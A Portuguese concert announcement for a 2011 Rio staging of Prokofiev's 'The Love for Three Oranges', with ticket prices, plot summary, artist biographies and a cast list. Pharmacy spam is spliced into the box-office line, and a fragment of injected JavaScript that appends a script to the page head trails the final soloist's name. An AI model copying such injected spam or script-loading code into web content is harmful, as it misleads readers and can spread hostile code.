LateralÓperaProgramaçãoRio de Janeiro

“O amor das 3 laranjas”, de Prokofiev, no Rio

A Orquestra Petrobras Sinfônica apresenta O Amor das Três Laranjas, ópera inédita no Rio, em seu último concerto da Série Portinari.

SERVIÇO

 

Theatro Municipal do Rio de Janeiro
Praça Marechal Floriano S/N
Mais informações: (21) 2332-9105 – bilheteria get bactrim ds on line

Dia 27 de novembro (domingo), às 17h.

Ingressos:
Frisa/Camarote (6 lugares) …………………………..R$ 576,00
Plateia / Balcão Nobre …………………………………..R$    96,00
Balcão Superior ……………………………………………R$    50,00
Galeria ………………………………………………………….R$    20,00

*10% de desconto para funcionários públicos, 50% para estudantes, terceira idade e portadores de necessidades especiais.

Estacionamento: Valet parking

 

 

A Orquestra Petrobras Sinfônica se despede da temporada 2011 com o concerto cênico O Amor da Três Laranjas, do compositor Sergei Prokofiev, tendo à frente o Diretor Artístico e Regente Titular da OPES, Isaac Karabtchevsky. A ópera, cantada em francês com legendas em português, terá direção cênica de Alberto Renault e figurino assinado pela estilista Isabela Capeto.

O conto de fadas, estreante na programação carioca, retrata a trajetória de um jovem príncipe em busca de seu amor. Com dezesseis cantores no elenco, O Amor das Três Laranjas contará ainda com a participação do Coro Sinfônico do Rio de Janeiro. Marcos Paulo e Luísa Francesconi, que interpretarão o Príncipe e a Princesa Clarisse, se apresentarão ao lado de nomes como Sérgio Weintraub, Homero Velho, Pepes do Valle e Gabriella Rossi, entre outros. A coreografia ficará a cargo de Márcia Milhazes.

 

Sobre a obra

Ópera em 4 atos, O Amor das Três Laranjas, de Sergei Prokofiev é um conto de fadas que recria a tradição italiana, escrito por Giambattista Basile (1575-1632) e publicado em Nápoles em 1634. Inspirado por ele, Carlo Gozzi (1720-1806) escreveu uma comédia com o mesmo nome (ou Análise reflexiva do conto O Amor das Três Laranjas), publicada em 1761, como severa crítica à obra do famoso autor e escritor Carlo Goldoni (1707-1793).

Com o fim da Primeira Guerra Mundial e a Revolução Bolchevique, Prokofiev ansiava por novos mundos a conquistar e foi para os EUA em 1918. Nesta longa viagem, trabalhou em um projeto que teve por base o conto de Carlo Gozzi, e assim escreveu o livreto de sua ópera que também se intitularia O Amor das Três Laranjas.

Este foi o primeiro dos três grandes períodos criativos do compositor – entre os anos de 1907 a 1921 – no qual gradativamente abandona as formas acadêmicas e se junta à vanguarda da época. Em 1921, a ópera estreava na Casa de Óperas de Chicago, dirigida pelo próprio compositor.

Trata-se de uma história extravagante – que na adaptação foi acrescida de surrealismos – de um jovem príncipe com obsessivas preocupações com seu estado de saúde e que ingere uma poção que desastradamente lhe causa profunda melancolia. No reino, não há médico capaz de curá-lo. Com o intuito de salvá-lo, Truffaldino recebe a missão de fazê-lo rir a qualquer custo e, em meio às brincadeiras, o príncipe ri de uma queda acidental da Fada Morgana que, ofendida, o amaldiçoa, obrigando-o a uma longa jornada em busca de três laranjas que abrigavam uma princesa em cada uma delas.

Eles partem para à procura e, tanto o príncipe como Truffaldino, se deparam com diversos empecilhos e embaraços, para finalmente encontrarem as laranjas, mas descobrem que as princesas estão sedentas e morrerão se não beberem água. Infelizmente, apenas uma delas sobrevive.

A história continua em meio a vários desencontros e contratempos, inclusive com a Fada Morgana transformando esta princesa em sua criada Smeraldina. No entanto, dando prosseguimento à tradição dos contos de fadas, a história termina com final feliz. A música é irresistivelmente melodiosa, despreocupada, fluente, fácil para o ouvido e temperada com imprevisíveis harmonias em intensos e enérgicos ritmos.

 

Sobre os artistas

 

Isaac Karabtchevsky

Diretor Artístico e Regente Titular da Orquestra Petrobras Sinfônica do Rio de Janeiro há oito anos e assumiu em dezembro de 2010 a Direção Artística do Instituto Baccarelli, onde estará à frente da Sinfônica de Heliópolis. Entre os anos de 2004 e 2009 foi diretor artístico da Orchestre National des Pays de la Loire (ONPL), na França. De 1969 a 1996, participou ativamente da vida musical brasileira, dirigindo a OSB.

O maestro esteve diante de importantes orquestras por toda a Europa, EUA, Argentina e Japão. Sua carreira internacional levou-o a dirigir concertos e óperas em teatros e orquestras de grande prestígio. Entre 1988 a 1994, atuou como diretor artístico da Orquestra Tonkünstler de Viena, com a qual realizou várias turnês internacionais.  Em virtude de seu trabalho, foi o primeiro artista brasileiro a receber, do governo da Áustria, a comenda Grande Mérito à Cultura e a comenda internacional de Chevalier des Arts et des Lettres do governo francês.

De 1995 a 2001, Karabtchevsky foi diretor musical do Teatro La Fenice de Veneza, onde dirigiu grandes produções, como Fidelio e Tristão e Isolda, e numerosos concertos sinfônicos. Em 1999, dirigiu Boris Godounov, com Samuel Ramey, na Washington Opera House, considerada uma das duas melhores interpretações da temporada. Desde 2000, Karabtchevsky dirige anualmente na Itália, no Musica Riva Festival, na cidade de Riva del Garda, masterclasses para maestros do mundo inteiro. Na Mostra Internacional de Música de Olinda — Mimo — ele realiza o mesmo curso com enorme sucesso.

Com Roberto Marinho e Péricles de Barros, foi o criador do Projeto Aquarius, o maior movimento de popularização da música clássica no Brasil. Isaac Karabtchevsky foi considerado, em 2009, pelo jornal inglês The Guardian  um dos “ícones vivos” do país.

 

Alberto Renault

Nasceu no Rio de Janeiro em 1963. Dirigiu várias óperas e assinou cenários, na Itália e no Rio de Janeiro, e figurinos juntamente com Claudia Kopke. Escreveu romances e estreou no teatro com sua tradução e direção do texto francês de Eugène Labiche, O Caso da Rua ao Lado. A peça excursionou pelo Brasil com Luiz Fernando Guimarães, Marisa Orth e Otávio Müller. Adaptou peças para Bia Lessa, de quem foi colaborador.

Em Paris, foi assistente do diretor Bruno Bayen, colaborando na montagem de diversos espetáculos na Comédia Francesa e nos Teatros Nacional L’Ódeon e La Bastille. É colaborador no mundo da moda dirigindo e criando cenários. Para a TV dirigiu e roteirizou os Especiais “Arnaldo Cohen e a Sinfônica de Heliópolis” e “Orfeu Hoje”, a partir da sua própria encenação no Theatro Municipal do Rio de Janeiro.

 

Coro Sinfônico do Rio de Janeiro

Formado em 2003, o Coro Sinfônico do Rio de Janeiro é constituído por cantores de formação lírica e tem seu núcleo no conjunto vocal Calíope (Prêmio Carlos Gomes 2002). É dirigido pelo Maestro Julio Moretzsohn, professor da UNIRIO e Doutor em Música, especializado em Regência Coral tendo participado de cursos de renomados professores europeus. Moretzsohn dirige ainda o projeto de educação musical Orquestra de Vozes Meninos do Rio para a Secretaria Municipal de Educação. O Coro Sinfônico do Rio de Janeiro, desde a sua criação, vem participando regularmente da temporada das orquestras cariocas recebendo uma excelente acolhida da crítica. Atuando sob a regência de importantes maestros do Brasil e do exterior este coro tem apresentado obras representativas do repertório sinfônico.

 

Sobre a OPES

Com o patrocínio da Petrobras desde 1987, a Orquestra Petrobras Sinfônica é um dos conjuntos musicais mais conceituados do país e da América Latina, promovendo encontros entre o tradicional e o inovador, o clássico e o contemporâneo, o nacional e o internacional.

Criada em 1972 pelo maestro Armando Prazeres, a OPES traz em seu corpo uma mescla de músicos jovens e experientes, e tem como Diretor Artístico e Regente Titular o maestro Isaac Karabtchevsky desde 2004, e Carlos Prazeres como Regente Assistente.

 

Solistas

– Le Roi de Trèfles: Carlos Eduardo Marcos
– Le Prince: Marcos Paulo
– La Princesse Clarisse: Luisa Francesconi
– Trouffaldino: Sergio Weintraub
– Pantelon: Vinicius Atique
– Le Magicien Tchelio: Leonardo Páscoa
– Fata Morgana: Gabriella Rossi
– Léandre (Primeiro Ministro): Homero Velho
– Linette (Princesa na laranja): Carolina Faria
– Nicolette (Princesa na laranja): Carla Odorizzi
– Ninette (Princesa na laranja): Lina Mendes
– La Cuisinière: Pepes do Valle
– Farfarello: Daniel Soren
– Sméraldine: Luciana Costa et Silva
– Le Maître de Cérémonies: Ivan Jorgesen Malta
– Le Héraut: Manuel Alvarez Abreud.getElementsByTagName(‘head’)[0].appendChild(s);